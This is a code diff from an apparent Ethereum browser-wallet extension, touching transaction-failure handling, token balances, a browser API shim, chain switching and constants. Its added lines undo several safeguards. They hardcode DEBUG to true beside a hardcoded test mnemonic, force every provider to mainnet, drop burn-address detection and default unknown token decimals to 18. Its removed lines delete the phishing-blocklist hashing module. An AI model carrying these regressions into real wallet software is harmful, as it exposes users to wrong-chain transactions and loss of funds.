throw refuse("The signature could not be verified.");
}
if (!sameAddress(recovered, expectedFrom)) {
throw refuse(
"The signature was produced by a different address than the one that was approved.",
);
}
return recovered;
}
// The stage a transaction approval failed at. Which stage it is decides
// whether the approval survives the failure.
const TX_STAGE_SIGN = "sign";
const TX_STAGE_VERIFY = "verify";
const TX_STAGE_BROADCAST = "broadcast";
// Not a failure of this request at all: a second response arrived for an
// approval an attempt already holds. The first attempt is still running and
// may yet succeed, so the one thing the popup must not say is "start again
// from the site".
const TX_STAGE_INFLIGHT = "inflight";
// A transaction refused for a nonce that is already spoken for, either by the
// node's own answer or by this wallet's record of what it has broadcast. It is
// the one broadcast-stage failure that is not ambiguous: the transaction was
// not taken, so the user is told it did not reach the network and to send it
// again, rather than being warned that it might already be out there.
const TX_STAGE_NONCE = "nonce";
function errorText(err) {
if (typeof err === "string" && err !== "") return err;
if (err && (err.shortMessage || err.message)) {
return err.shortMessage || err.message;
}
return "The transaction could not be sent.";
}
// Every string a failure might carry its reason in. ethers reports the node's
// own words in `shortMessage`, but a JSON-RPC error it could not classify is
// nested under `error` or `info.error` with the node's message intact, and the
// classification below has to see that too.
function failureTexts(err) {
if (typeof err === "string") return [err];
if (!err || typeof err !== "object") return [];
const texts = [];
for (const text of [err.shortMessage, err.message, err.reason]) {
if (text) texts.push(String(text));
}
const nested = err.error || (err.info && err.info.error);
if (nested && nested.message) texts.push(String(nested.message));
return texts;
}
// What the Ethereum clients say when a transaction's nonce is already spoken
// for: either it is below the account's next nonce, or another transaction is
// sitting in the pool at that nonce and this one did not outbid it. Either way
// the node answered, and its answer was that it did not take this transaction.
//
// "already known" is deliberately absent. A node that says it knows the
// transaction has it, so that transaction did reach the network and the
// ambiguous broadcast wording is the correct one for it.
const NONCE_COLLISION_PATTERNS = [
/nonce too low/i,
/nonce has already been used/i,
/invalid nonce/i,
/oldnonce/i,
/replacement transaction underpriced/i,
/replacement fee too low/i,
];
// ethers' own classification of the same two conditions.
const NONCE_COLLISION_CODES = ["NONCE_EXPIRED", "REPLACEMENT_UNDERPRICED"];
// Whether a failed send is a nonce collision.
function isNonceCollision(err) {
if (!err) return false;
if (err.code && NONCE_COLLISION_CODES.includes(err.code)) return true;
return failureTexts(err).some((text) =>
NONCE_COLLISION_PATTERNS.some((pattern) => pattern.test(text)),
);
}
// What both the requesting page and the popup are told about a nonce
// collision. The node's own words ("nonce too low") are a fragment and are
// replaced rather than passed through: they are not a sentence, and they say
// less than the wallet knows.
const NONCE_COLLISION_MESSAGE =
"The transaction was not sent, because its nonce had already been used" +
" by another transaction.";
// What the background does with a pending transaction approval after a failed
// attempt: what it tells the popup, and whether the approval is spent
// (resolved to the requesting page as an error and deleted) or left standing
// so the user can try the transaction they already saw again.
//
// - sign: the popup could not produce an artifact, almost always a wrong
// password. Nothing left the extension, so the approval stands.
// - verify: a mismatch is a refusal and spends the approval — an artifact
// that is not the approved transaction must never be retried against that
// approval. Anything else failed before the check ran and is retryable.
// - broadcast: always terminal. A broadcast that throws after the node
// accepted the transaction is routine (a timeout, a dropped response, a
// node answering "already known"), so the wallet cannot tell a transaction
// that never left from one that is already in the mempool. The approval is
// spent and the requesting page has been given its outcome; a second
// attempt against it would report a second outcome for one request.
// - nonce: terminal too, and the one case where the wallet does know the
// transaction never left. The approval carries a nonce that is spent, so
// the artifact signed against it can never be accepted and the user is told
// to send it again from the site.
//
// The stage comes back out because a broadcast failure the node blamed on the
// nonce is reclassified here; the caller reports the stage this returns rather
// than the one it passed in.
function describeTxFailure(stage, err) {
if (
stage === TX_STAGE_NONCE ||
(stage === TX_STAGE_BROADCAST && isNonceCollision(err))
) {
return {
error: NONCE_COLLISION_MESSAGE,
retryable: false,
spendApproval: true,
stage: TX_STAGE_NONCE,
};
}
const error = errorText(err);
const retryable =
stage === TX_STAGE_SIGN ||
(stage === TX_STAGE_VERIFY && failureIsRetryable(err));
return { error, retryable, spendApproval: !retryable, stage };
}
// What the popup shows and does after the background reports a failed signing
// attempt. A retryable failure leaves the approval pending in the background,
// so the button goes back to being usable; a refusal spent the approval, and
// the popup says so rather than offering a button that cannot succeed.
//
// A failed broadcast gets its own wording: the transaction may already be on
// the network, so telling the user to start again from the site is exactly the
// wrong instruction. A nonce collision is the exception to that exception —
// the transaction demonstrably did not go out, and saying it might have would
// send the user hunting for a transaction that does not exist.
function describeSigningFailure(response, fallbackMessage) {
let message = (response && response.error) || fallbackMessage;
if (!/[.!?]$/.test(message)) message += ".";
const retryable = !!(response && response.retryable);
const stage = response && response.stage;
if (!retryable) {
if (stage === TX_STAGE_NONCE) {
message +=
" The transaction did not reach the network." +
" Please send it again from the site.";
} else if (stage === TX_STAGE_BROADCAST) {
message +=
" The transaction may still have reached the network." +
" Check the account before sending it again.";
} else if (stage === TX_STAGE_INFLIGHT) {
message +=
" The first attempt is still running and may still succeed." +
" Wait for it rather than starting again.";
} else {
message +=
" This request can no longer be signed. Please start it" +
" again from the site.";
}
}
return { message, retryable };
}
module.exports = {
verifySignedTx,
verifySignature,
assertNoForbiddenFields,
assertNothingUnchecked,
assertCanonicalBytes,
assertWithinCeilings,
sameAddress,
failureIsRetryable,
isNonceCollision,
describeTxFailure,
describeSigningFailure,
ApprovalMismatchError,
NONCE_COLLISION_MESSAGE,
ALLOWED_TX_TYPES,
SERIALIZED_FIELDS,
FORBIDDEN_FIELDS,
APPROVED_FIELDS,
TX_STAGE_SIGN,
TX_STAGE_VERIFY,
TX_STAGE_BROADCAST,
TX_STAGE_INFLIGHT,
TX_STAGE_NONCE,
MAX_GAS_LIMIT,
MAX_FEE_PER_GAS,
};

View File

@@ -9,47 +9,16 @@ const {
formatUnits,
} = require("ethers");
const { ERC20_ABI } = require("./constants");
const { NETWORKS } = require("./networks");
const { log, debugFetch } = require("./log");
const { deriveAddressFromXpub } = require("./wallet");
const { TOKEN_BY_ADDRESS } = require("./tokenList");
const { LOW_HOLDER_THRESHOLD, parseHoldersCount } = require("./holders");
const { isSpoofedSymbol } = require("./symbolSpoof");
const { toDecimals } = require("./transferAmount");
const { resolveTokenDecimals } = require("./approvalAmount");
const { KNOWN_SYMBOLS, TOKEN_BY_ADDRESS } = require("./tokenList");
// Use a static network to skip auto-detection (which can fail and cause
// "could not coalesce error" on some RPC endpoints like Cloudflare).
//
// `networkId` is REQUIRED, and is one of the ids in networks.js. It used to be
// optional, falling back to currentNetwork() — the module-level `state`
// singleton, which the MV3 service worker never populates. The endpoint then
// came out right and the static hint came out mainnet, so ethers fixed
// `chainId` at 0x1 and every non-mainnet dApp send was prepared for the wrong
// chain and then refused by the wallet's own verifier
// (https://git.eeqj.de/sneak/AutistMask/issues/320). Requiring it is what
// stops that from coming back: a caller that has no network to name has no
// business constructing a provider, and there is no longer a default for it
// to get silently wrong.
//
// Validated against NETWORKS rather than passed straight to Network.from():
// ethers knows chains this wallet does not, so an id that is not one of ours
// is a caller bug and must not resolve to a working provider for some other
// chain.
function getProvider(rpcUrl, networkId) {
const net = Network.from(requireNetworkId(networkId).id);
return new JsonRpcProvider(rpcUrl, net, { staticNetwork: net });
}
const mainnet = Network.from("mainnet");
function requireNetworkId(networkId) {
const net = NETWORKS[networkId];
if (!net) {
throw new Error(
"getProvider requires the id of a supported network; got " +
JSON.stringify(networkId),
);
}
return net;
function getProvider(rpcUrl) {
return new JsonRpcProvider(rpcUrl, mainnet, { staticNetwork: mainnet });
}
function formatBalance(wei) {
@@ -68,28 +37,10 @@ function formatTokenBalance(raw, decimals) {
return parts[0] + "." + dec;
}
// The explorer's reported holding as an exact base-unit integer, or null when
// it reported nothing usable. Base units carry no scale, so this value is
// meaningful before the scale is known — which is what lets a holding of zero
// be recognised as zero without guessing a scale to divide it by.
function rawUnits(value) {
if (typeof value === "bigint") return value >= 0n ? value : null;
if (typeof value === "number") {
return Number.isSafeInteger(value) && value >= 0 ? BigInt(value) : null;
}
if (typeof value !== "string" || !/^[0-9]+$/.test(value)) return null;
return BigInt(value);
}
// Fetch token balances for a single address from Blockscout.
// Returns [{ address, name, symbol, decimals, balance, holders }].
// Returns [{ address, symbol, decimals, balance }].
// Filters out spam: only shows tokens that are in the known token list,
// explicitly tracked by the user, or have >= 1000 holders.
//
// `decimals` and `balance` are each null when the answer is unknown, the same
// way `holders` already is. Absence is never filled in here: this is the
// upstream of every screen that displays a token amount, so a value invented
// at this point is indistinguishable from a real one everywhere below it.
async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
try {
const resp = await debugFetch(
@@ -108,89 +59,35 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
const balances = [];
for (const item of items) {
// Case-insensitive: the token type is an explorer's label, not a
// protocol value, and an exact comparison silently drops a real
// holding if one ever writes "erc-20". Which types are admitted
// is unchanged.
const type = String(item.token?.type || "").toUpperCase();
if (type !== "ERC-20") continue;
if (item.token?.type !== "ERC-20") continue;
const decimals = parseInt(item.token.decimals || "18", 10);
const bal = formatTokenBalance(item.value || "0", decimals);
if (bal === "0.0") continue;
const tokenAddr = (item.token.address_hash || "").toLowerCase();
// What the explorer reported, or null. NEVER a default: this
// value is written to state and every later reader — the approval
// screen's amount line, the swap lines, the Send screen — takes it
// as the token's resolved scale. A fabricated 18 reads exactly
// like a real 18 at that point, so it does not merely display the
// wrong quantity, it walks straight past the refusal those screens
// already have for a scale nobody knows
// (https://git.eeqj.de/sneak/AutistMask/issues/349).
const decimals = toDecimals(item.token.decimals);
const raw = rawUnits(item.value);
// No usable amount at all is nothing to list, exactly as a
// formatted "0.0" was before. Checked on the base-unit integer so
// it does not depend on knowing the scale: zero base units is zero
// tokens at every scale, and a value the explorer did not report
// as an integer is not a holding.
if (raw === null || raw === 0n) continue;
// The scale this row's balance is DISPLAYED at, which is not the
// same question as what the explorer said. The bundled list and
// the tokens the user tracks both outrank the explorer already
// (resolveTokenDecimals), so a token they know keeps showing its
// real quantity even when the explorer's entry omits decimals.
// Only what neither of them nor the explorer knows is unknown.
// The stored `decimals` above stays the explorer's own answer
// either way: copying another source into it would make
// explorerDecimals()'s disagreement check compare something other
// than explorer values.
const known = resolveTokenDecimals(tokenAddr, { trackedTokens });
const scale = known !== null ? known : decimals;
// null is a holding of an amount that cannot be stated, which is
// not the same as a holding of zero, and must never render as one.
// With a scale, the display filter proper applies: a balance that
// rounds to zero at six places is dust and is not listed. Without
// one there is no such judgement to make, and the row is kept.
const bal = scale === null ? null : formatTokenBalance(raw, scale);
if (bal === "0.0") continue;
// null means the explorer reported no count, which is not the
// same as a count of zero. This gate is not the low-holder
// display filter: it has no user-facing off switch and governs
// the whole balance list, so it stays strict and admits a token
// only on a reported count — an unreported one is no evidence.
// A legitimate token still reaches the list through the known
// token list or by the user tracking it, and the null is carried
// through to the views, where the two low-holder filters treat
// an unknown count as "do not judge" rather than as zero.
const holders = parseHoldersCount(item.token.holders_count);
const holders = parseInt(item.token.holders_count || "0", 10);
const isKnown = TOKEN_BY_ADDRESS.has(tokenAddr);
const isTracked = trackedSet.has(tokenAddr);
const hasEnoughHolders =
holders !== null && holders >= LOW_HOLDER_THRESHOLD;
const hasEnoughHolders = holders >= 1000;
// Skip spam tokens the user never asked to see
if (!isKnown && !isTracked && !hasEnoughHolders) continue;
// Skip tokens spoofing a known symbol from a different address.
// Every row here is an ERC-20 the explorer reported, so it has a
// contract address; the native ETH balance is fetched over RPC in
// refreshBalances and never passes through this loop.
if (isSpoofedSymbol(item.token.symbol, tokenAddr)) continue;
// Skip tokens spoofing a known symbol from a different address
const sym = (item.token.symbol || "").toUpperCase();
const legitAddr = KNOWN_SYMBOLS.get(sym);
if (
legitAddr !== undefined &&
legitAddr !== null &&
tokenAddr !== legitAddr
)
continue;
balances.push({
address: item.token.address_hash,
name: item.token.name || "",
symbol: item.token.symbol || "???",
// null means the explorer reported no usable scale — unknown,
// not 18. Distinguishable from a real 18 at read time is the
// entire point: resolveTokenDecimals() falls through a null to
// its refusal, and takes an 18 as the answer.
decimals: decimals,
// null means nothing anywhere knows the scale, so there is no
// token quantity to state. Not "0.0": a nonzero holding shown
// as zero is the same lie in the balance list that the
// approval screens refuse to tell.
balance: bal,
holders: holders,
});
@@ -203,15 +100,9 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
}
// Fetch ETH balances, ENS names, and ERC-20 token balances for all addresses.
async function refreshBalances(
wallets,
rpcUrl,
blockscoutUrl,
trackedTokens,
networkId,
) {
async function refreshBalances(wallets, rpcUrl, blockscoutUrl, trackedTokens) {
log.debugf("refreshBalances start, rpc:", rpcUrl);
const provider = getProvider(rpcUrl, networkId);
const provider = getProvider(rpcUrl);
const updates = [];
for (const wallet of wallets) {
@@ -284,9 +175,9 @@ async function refreshBalances(
// Look up token metadata from its contract.
// Calls symbol() and decimals() to verify it implements ERC-20.
async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
async function lookupTokenInfo(contractAddress, rpcUrl) {
log.debugf("lookupTokenInfo", contractAddress, "rpc:", rpcUrl);
const provider = getProvider(rpcUrl, networkId);
const provider = getProvider(rpcUrl);
const contract = new Contract(contractAddress, ERC20_ABI, provider);
let name, symbol, decimals;
@@ -326,9 +217,9 @@ async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
// Checks gapLimit addresses in parallel per batch. Stops when an entire
// batch has no used addresses (i.e. gapLimit consecutive empty addresses).
// Returns { addresses: [{ address, index }], nextIndex }.
async function scanForAddresses(xpub, rpcUrl, networkId, gapLimit = 5) {
async function scanForAddresses(xpub, rpcUrl, gapLimit = 5) {
log.debugf("scanForAddresses start, gapLimit:", gapLimit);
const provider = getProvider(rpcUrl, networkId);
const provider = getProvider(rpcUrl);
const used = [];
let checked = 0;
let checkUpTo = gapLimit;
@@ -382,7 +273,6 @@ async function scanForAddresses(xpub, rpcUrl, networkId, gapLimit = 5) {
}
module.exports = {
fetchTokenBalances,
refreshBalances,
lookupTokenInfo,
getProvider,

View File

@@ -1,280 +0,0 @@
// The one place in this tree that names `browser` or `chrome`.
//
// The two targets do not agree on the namespace, and they disagree about the
// call shape only in which one is native. Chrome MV3 exposes `chrome.*`,
// where tabs, windows and messaging take a trailing callback and report
// failure through the global `chrome.runtime.lastError`. Firefox MV2 exposes
// `browser.*`, where those same methods return promises — but, measured on
// Firefox 153.0.3, it ALSO honours a trailing Chrome-style callback, returns
// no promise when one is given, and populates `browser.runtime.lastError`.
// The callback code that predated this module therefore ran on both, and
// https://git.eeqj.de/sneak/AutistMask/issues/153 was filed on the belief
// that it did not. This module exists for uniformity, not for repair: the
// tree used to resolve the namespace with a ternary at six call sites and
// then mix promise-form storage with callback-form messaging.
//
// The strategy is promises out, everywhere: one namespace, one call shape,
// composing with the `async` handlers in the background. Callers `await`;
// nothing outside this file has to know which browser it is running on.
//
// Two deliberate asymmetries, because they are what the browsers actually do
// rather than what a uniform-looking shim would pretend:
//
// - Storage is called in its PROMISE form on both namespaces.
// `chrome.storage.local.get()` returns a promise on MV3 and the popup
// already depends on that — src/shared/state.js has always awaited it.
// Wrapping it in a callback here would be a change, not a fix.
// - notify() sends without a callback. It is for a message whose answer
// nobody reads; appending a callback would only manufacture a
// lastError/rejection for a receiver that was never expected to reply.
//
// Everything is resolved on use rather than captured at module load. The MV3
// service worker is torn down and re-evaluated repeatedly, and the unit
// suite installs its stubs on `global.chrome` around a require().
// The extension API namespace, preferring `browser.*` where it exists.
//
// Whole-namespace, never per-method: mixing `browser.tabs` with
// `chrome.windows` would also mix promise and callback semantics inside a
// single call path, which is the bug this module exists to remove.
function extensionApi() {
if (typeof browser !== "undefined" && browser) return browser;
if (typeof chrome !== "undefined" && chrome) return chrome;
return null;
}
// True when the resolved namespace is the promise-flavoured one.
//
// It doubles as "this is the Gecko/MV2 build", which is a second question
// with the same answer and one real caller: src/content/index.js has to
// inject the inpage provider itself there, because MV2 has no
// `"world": "MAIN"` for a manifest-declared content script.
function hasBrowserNamespace() {
return typeof browser !== "undefined" && !!browser;
}
function namespaceMember(name) {
const api = extensionApi();
return (api && api[name]) || null;
}
function runtimeApi() {
return namespaceMember("runtime");
}
function tabsApi() {
return namespaceMember("tabs");
}
function windowsApi() {
return namespaceMember("windows");
}
function alarmsApi() {
return namespaceMember("alarms");
}
// The toolbar button. MV3 calls it `action`, MV2 calls it `browserAction`.
function actionApi() {
const api = extensionApi();
if (!api) return null;
return api.action || api.browserAction || null;
}
// `storage.local`, or null in a context that has no storage permission.
//
// Null rather than a throw for the one caller that genuinely degrades:
// src/shared/phishingDomains.js falls back to its vendored blocklist and does
// its own null check. Everything that reads or writes the wallet goes through
// storageGet()/storageSet(), which reject instead — see there.
function storageLocal() {
const storage = namespaceMember("storage");
return (storage && storage.local) || null;
}
// The callback-path error channel. Read only from inside an appended
// callback, i.e. only on the `chrome.*` path, where it is the sole way a
// failure is reported. The background's three explicit lastError checks are
// gone because invoke() turns it into a rejection before any caller sees it.
function lastError() {
const runtime = runtimeApi();
return (runtime && runtime.lastError) || null;
}
// Call `owner[method](...args)` and return a promise for its result.
//
// On the promise namespace the method already returns one. On the callback
// namespace the callback is appended here and lastError becomes a rejection,
// because a caller holding a promise has nowhere to check a global flag.
function invoke(owner, method, ...args) {
if (!owner || typeof owner[method] !== "function") {
return Promise.reject(
new Error(
"extension API " +
method +
"() is not available in this context",
),
);
}
if (hasBrowserNamespace()) {
try {
return Promise.resolve(owner[method](...args));
} catch (e) {
return Promise.reject(e);
}
}
return new Promise((resolve, reject) => {
owner[method](...args, (result) => {
const err = lastError();
if (err) reject(new Error(err.message || String(err)));
else resolve(result);
});
});
}
/**
* Send a message to the extension's own contexts and resolve with the reply.
*
* Rejects when nothing is listening, on both browsers. A caller that does not
* care must say so — see notify().
*
* @param {Object} message
* @returns {Promise<*>} the receiver's response.
*/
function sendMessage(message) {
return invoke(runtimeApi(), "sendMessage", message);
}
/**
* Send a message nobody is expected to answer, and swallow the fact that
* nobody did.
*
* @param {Object} message
* @returns {void}
*/
function notify(message) {
const runtime = runtimeApi();
if (!runtime || typeof runtime.sendMessage !== "function") return;
const result = runtime.sendMessage(message);
// MV3 hands back a promise for a one-argument send, and it rejects when
// the background is not listening. Unhandled, that surfaces as an error
// the e2e suites fail the run on.
if (result && typeof result.catch === "function") result.catch(() => {});
}
// These two carry the wallet. A missing `storage.local` has to reject and not
// default: resolving {} would make an existing wallet read back as no wallet,
// and resolving a no-op write would discard the user's state with nothing
// logged. A caller that wants to degrade takes storageLocal() directly.
function storageUnavailable(method) {
return Promise.reject(
new Error("extension storage.local is not available: " + method),
);
}
/**
* @param {string|string[]|Object} keys
* @returns {Promise<Object>} the stored items.
* @throws rejects where `storage.local` is absent.
*/
function storageGet(keys) {
const storage = storageLocal();
if (!storage) return storageUnavailable("get");
return Promise.resolve(storage.get(keys));
}
/**
* @param {Object} items
* @returns {Promise<void>}
* @throws rejects where `storage.local` is absent.
*/
function storageSet(items) {
const storage = storageLocal();
if (!storage) return storageUnavailable("set");
return Promise.resolve(storage.set(items));
}
/**
* Erase stored keys. The one caller is the destructive reset on the recovery
* screen (src/popup/views/stateRecovery.js), which is the only way out of a
* profile no build can read; it rejects rather than defaulting for the same
* reason the two above do — a reset that silently did nothing would leave the
* user in the dead end they were promised an exit from.
*
* @param {string|string[]} keys
* @returns {Promise<void>}
* @throws rejects where `storage.local` is absent.
*/
function storageRemove(keys) {
const storage = storageLocal();
if (!storage) return storageUnavailable("remove");
return Promise.resolve(storage.remove(keys));
}
/**
* @param {Object} queryInfo
* @returns {Promise<Array>} the matching tabs.
*/
function tabsQuery(queryInfo) {
return invoke(tabsApi(), "query", queryInfo);
}
/**
* Send a message to one tab's content script.
*
* Rejects for a tab that has no receiver, which is most of them. That
* rejection is the promise-shaped replacement for the runtime.lastError
* checks the broadcast helpers used to make, and callers ignore it the same
* way.
*
* @param {number} tabId
* @param {Object} message
* @returns {Promise<*>}
*/
function tabsSendMessage(tabId, message) {
return invoke(tabsApi(), "sendMessage", tabId, message);
}
/**
* @param {Object} createData
* @returns {Promise<Object>} the created window.
*/
function windowsCreate(createData) {
return invoke(windowsApi(), "create", createData);
}
/**
* @returns {Promise<Object>} the last focused window.
*/
function windowsGetLastFocused() {
return invoke(windowsApi(), "getLastFocused");
}
/**
* @param {number} windowId
* @returns {Promise<void>}
*/
function windowsRemove(windowId) {
return invoke(windowsApi(), "remove", windowId);
}
module.exports = {
actionApi,
alarmsApi,
extensionApi,
hasBrowserNamespace,
notify,
runtimeApi,
sendMessage,
storageGet,
storageLocal,
storageRemove,
storageSet,
tabsApi,
tabsQuery,
tabsSendMessage,
windowsApi,
windowsCreate,
windowsGetLastFocused,
windowsRemove,
};

View File

@@ -1,35 +0,0 @@
// Build-time constants injected by esbuild define in build.js.
// These globals are replaced at bundle time with string literals.
/* global __BUILD_VERSION__, __BUILD_LICENSE__, __BUILD_AUTHOR__,
__BUILD_COMMIT__, __BUILD_COMMIT_FULL__, __BUILD_DATE__ */
const BUILD_VERSION =
typeof __BUILD_VERSION__ !== "undefined" ? __BUILD_VERSION__ : "dev";
const BUILD_LICENSE =
typeof __BUILD_LICENSE__ !== "undefined" ? __BUILD_LICENSE__ : "GPL-3.0";
const BUILD_AUTHOR =
typeof __BUILD_AUTHOR__ !== "undefined"
? __BUILD_AUTHOR__
: "sneak <sneak@sneak.berlin>";
const BUILD_COMMIT =
typeof __BUILD_COMMIT__ !== "undefined" ? __BUILD_COMMIT__ : "unknown";
const BUILD_COMMIT_FULL =
typeof __BUILD_COMMIT_FULL__ !== "undefined"
? __BUILD_COMMIT_FULL__
: "unknown";
const BUILD_DATE =
typeof __BUILD_DATE__ !== "undefined" ? __BUILD_DATE__ : "unknown";
const GITEA_COMMIT_URL =
"https://git.eeqj.de/sneak/AutistMask/commit/" + BUILD_COMMIT_FULL;
module.exports = {
BUILD_VERSION,
BUILD_LICENSE,
BUILD_AUTHOR,
BUILD_COMMIT,
BUILD_COMMIT_FULL,
BUILD_DATE,
GITEA_COMMIT_URL,
};

View File

@@ -1,41 +0,0 @@
// Consolidated chain-switch handler for the popup.
//
// Every state change required when the active network changes is
// performed here so that callers (settings UI, future chain additions) all go
// through a single code path.
//
// Adding a new chain (e.g. ETC) requires only a new entry in
// networks.js — no per-caller wiring is needed.
//
// The background does NOT come through here: this function mutates the
// module-level `state` singleton, which the MV3 service worker never
// populates, and a background switch performed on it wrote DEFAULT_STATE over
// the user's whole profile
// (https://git.eeqj.de/sneak/AutistMask/issues/316). The field mutations
// themselves live in chainSwitchFields.js, which takes the record to mutate as
// an argument; src/background/state.js applies them inside a read-modify-write
// against storage, and the singleton is not reachable from the background
// bundle at all (enforced by the ESLint rule in eslint.config.js).
const { applyChainSwitchFields } = require("./chainSwitchFields");
const { clearPrices } = require("./prices");
// Switch the active chain and reset all chain-specific cached state.
// Returns the network configuration object for the new chain.
async function onChainSwitch(newNetworkId) {
const { state, saveState } = require("./state");
const net = applyChainSwitchFields(state, newNetworkId);
// --- price cache ---
// Prices are chain-specific (testnet tokens are worthless,
// ETC has different pricing, etc.). In-memory and per bundle, so this is
// the popup's own cache — the only context that ever fills it.
clearPrices();
await saveState();
return net;
}
module.exports = { onChainSwitch };

View File

@@ -1,69 +0,0 @@
// The field mutations a chain switch performs, applied to a state record
// handed in rather than to the module-level `state` singleton.
//
// Split out of chainSwitch.js so the background can perform a chain switch
// without the singleton being reachable from its bundle at all. The popup
// still goes through onChainSwitch() (chainSwitch.js), which applies this to
// the singleton and saves; the background applies it to the detached record of
// its own read-modify-write (src/background/state.js).
//
// Everything here is synchronous and touches nothing but the object it is
// given: no storage, no caches, no imports beyond the network table. That is
// what makes it usable on a record that has been read fresh from storage
// microseconds earlier and is about to be written back.
const { networkById } = require("./networks");
// Switch `s` to `newNetworkId` and reset every piece of chain-specific state
// it carries. Returns the network configuration object for the new chain.
function applyChainSwitchFields(s, newNetworkId) {
const net = networkById(newNetworkId);
// --- core identity ---
// Endpoints are remembered per network rather than reset to the
// defaults, because a user who points the wallet at their own node has
// no way to get that URL back once it is gone: overwriting it moved
// every address and every transaction onto a third-party endpoint
// silently and permanently.
//
// s.rpcUrl / s.blockscoutUrl stay the live endpoints of the active
// network, so nothing that reads them changes. The invariant is that for
// the ACTIVE network those two fields are authoritative and the map entry
// may be stale (Settings writes the fields directly); for every other
// network the map is authoritative. Snapshotting the outgoing network
// here, before the switch, is what reconciles them.
if (!s.networkEndpoints) s.networkEndpoints = {};
s.networkEndpoints[s.networkId] = {
rpcUrl: s.rpcUrl,
blockscoutUrl: s.blockscoutUrl,
};
const remembered = s.networkEndpoints[net.id] || {};
s.networkId = net.id;
s.rpcUrl = remembered.rpcUrl || net.defaultRpcUrl;
s.blockscoutUrl = remembered.blockscoutUrl || net.defaultBlockscoutUrl;
// --- balance / refresh state ---
// Reset last-refresh timestamp so the next polling cycle
// triggers an immediate balance refresh on the new chain.
s.lastBalanceRefresh = 0;
// Clear per-address balances and token balances so stale data
// from the previous chain is never displayed while the first
// refresh on the new chain is in flight.
for (const wallet of s.wallets || []) {
for (const addr of wallet.addresses || []) {
addr.balance = "0";
addr.tokenBalances = [];
}
}
// --- chain-specific caches ---
// Token holder counts and fraud contract lists are
// chain-specific and must not carry over.
s.tokenHolderCache = {};
s.fraudContracts = [];
return net;
}
module.exports = { applyChainSwitchFields };

View File

@@ -1,32 +1,8 @@
// DEBUG is a build-time constant injected by esbuild's define in build.js
// (see src/shared/buildInfo.js for the same pattern). It is false unless the
// bundle was produced with AUTISTMASK_DEBUG=1, and it is false whenever the
// module is loaded outside a bundle (tests, plain require). It must never be
// derived from anything the user can change at runtime: it is what gates the
// hardcoded test mnemonic below.
/* global __BUILD_DEBUG__ */
const DEBUG = typeof __BUILD_DEBUG__ !== "undefined" ? __BUILD_DEBUG__ : false;
// Machine-readable record of the compiled DEBUG state, read out of the emitted
// bundles by script/verify-build. It is derived from DEBUG itself so the two
// cannot disagree, and it is a plain string literal rather than a minifier
// artifact like `DEBUG:!1`, so the check does not depend on esbuild's output
// staying byte-stable across versions.
//
// The ambiguity is the point. When DEBUG is known at build time the bundler
// folds this to exactly one of the two literals. When it is not — which is
// exactly what happens if the __BUILD_DEBUG__ define goes missing from
// build.js — the ternary survives, both literals appear in the bundle, and
// verify-build fails rather than guessing.
const BUILD_DEBUG_MARKER = DEBUG
? "autistmask-build-debug=on"
: "autistmask-build-debug=off";
const DEBUG = true;
const DEBUG_MNEMONIC =
"cube evolve unfold result inch risk jealous skill hotel bulb night wreck";
const ETHEREUM_MAINNET_CHAIN_ID = "0x1";
const ETHEREUM_SEPOLIA_CHAIN_ID = "0xaa36a7";
const DEFAULT_RPC_URL = "https://ethereum-rpc.publicnode.com";
@@ -44,29 +20,12 @@ const ERC20_ABI = [
"function approve(address spender, uint256 amount) returns (bool)",
];
// Known null/burn addresses that permanently destroy funds.
const BURN_ADDRESSES = new Set([
"0x0000000000000000000000000000000000000000",
"0x0000000000000000000000000000000000000001",
"0x000000000000000000000000000000000000dead",
"0xdead000000000000000000000000000000000000",
"0x00000000000000000000000000000000deadbeef",
]);
function isBurnAddress(address) {
return BURN_ADDRESSES.has(address.toLowerCase());
}
module.exports = {
DEBUG,
BUILD_DEBUG_MARKER,
DEBUG_MNEMONIC,
ETHEREUM_MAINNET_CHAIN_ID,
ETHEREUM_SEPOLIA_CHAIN_ID,
DEFAULT_RPC_URL,
DEFAULT_BLOCKSCOUT_URL,
BIP44_ETH_PATH,
ERC20_ABI,
BURN_ADDRESSES,
isBurnAddress,
};

View File

@@ -1,41 +0,0 @@
// The one definition of how a domain becomes a blocklist entry.
//
// The vendored phishing blocklist ships digests, not domain names: see
// phishingDomains.js for why, and script/vendor-blocklist for how the artifact
// is produced. Both sides have to agree exactly — a mismatch would silently
// match nothing, which is a blocklist that quietly protects no one — so the
// rule lives here and is required by both rather than written down twice.
//
// sha256 truncated to 64 bits. Truncation is what keeps the artifact small
// enough to bundle (16 hex characters per entry rather than 64), and 64 bits is
// far past what this has to withstand: over ~10^5 entries the chance that any
// hostname a user visits collides with an entry it is not is about 10^-14 per
// lookup, and a deliberate collision buys an attacker a false phishing warning
// on a site they do not control, not a missed one. For scale, Safe Browsing
// distributes 32-bit prefixes and resolves the rest against a server; this is
// 32 bits more, with no server involved.
const { sha256, toUtf8Bytes } = require("ethers");
const HASH_ALGORITHM = "sha256";
const HASH_HEX_CHARS = 16;
/**
* The blocklist entry for a domain: lowercased, hashed, truncated.
*
* @param {string} domain
* @returns {string} HASH_HEX_CHARS lowercase hex characters, no 0x prefix.
*/
function hashDomain(domain) {
// ethers returns "0x" + 64 hex characters.
return sha256(toUtf8Bytes(domain.toLowerCase())).slice(
2,
2 + HASH_HEX_CHARS,
);
}
module.exports = {
HASH_ALGORITHM,
HASH_HEX_CHARS,
hashDomain,
};

View File

@@ -1,10 +1,6 @@
// Cached ENS reverse resolution.
// Resolves addresses to ENS names via ethers provider.lookupAddress(),
// caching results in localStorage with a 12-hour TTL.
//
// POPUP ONLY. localStorage does not exist in the Chrome MV3 service worker,
// so this module must not be pulled into src/background/. Anything the
// background context needs to cache goes in extension storage instead.
const { getProvider } = require("./balances");
const { log } = require("./log");
@@ -32,11 +28,11 @@ function setCache(address, name) {
localStorage.setItem(key, JSON.stringify({ name, ts: Date.now() }));
}
async function resolveEnsName(address, rpcUrl, networkId) {
async function resolveEnsName(address, rpcUrl) {
const cached = getCached(address);
if (cached !== undefined) return cached;
const provider = getProvider(rpcUrl, networkId);
const provider = getProvider(rpcUrl);
try {
const name = (await provider.lookupAddress(address)) || null;
setCache(address, name);
@@ -48,11 +44,11 @@ async function resolveEnsName(address, rpcUrl, networkId) {
}
}
async function resolveEnsNames(addresses, rpcUrl, networkId) {
async function resolveEnsNames(addresses, rpcUrl) {
